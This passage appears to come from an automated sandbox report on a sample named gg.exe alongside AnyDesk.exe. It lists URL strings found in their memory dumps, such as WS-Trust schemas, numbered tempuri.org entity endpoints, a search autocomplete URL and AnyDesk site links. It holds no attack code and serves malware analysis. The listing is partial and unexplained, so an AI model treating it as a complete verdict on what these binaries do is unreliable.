Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possesspropertyh
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000031BE000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000035BE000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000031BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000035BE000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: gg.exe, 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000031BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003332000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: gg.exe, 0000000F.00000002.1905680590.0000000003797000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003332000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003213000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.00000000035BE000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: gg.exe, 0000000F.00000002.1905680590.0000000003797000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003332000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.0000000004180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: gg.exe, 0000000F.00000002.1905680590.0000000003793000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.0000000003797000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: gg.exe, 0000000F.00000002.1905680590.0000000003797000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gimp.org/xmp/
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.opengl.org/registry/
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/)
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlEC_PRIVATEKEYpublicKeyparametersprivateKeyECPKPARAMETERSvalue
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com
Source: AnyDesk.exe	String found in binary or memory: https://anydesk.com/
Source: AnyDesk.exe, 00000010.00000003.1667261960.0000000004A00000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667190664.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667450455.0000000004A06000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667067673.00000000049ED000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667309066.0000000004A05000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667012404.00000000049CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/S
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/company#imprint
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/contact/sales
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/contact/sales)
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/de/datenschutz
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/assembly
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/assembly/terms
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/en/changelog/windows
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/privacy
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/es/privacidad
Source: AnyDesk.exe, 00000010.00000003.1667415426.00000000049E0000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667139623.00000000049D9000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667012404.00000000049CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/eyb
Source: AnyDesk.exe, 00000010.00000003.1667415426.00000000049E0000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667139623.00000000049D9000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667012404.00000000049CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/le_
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/order
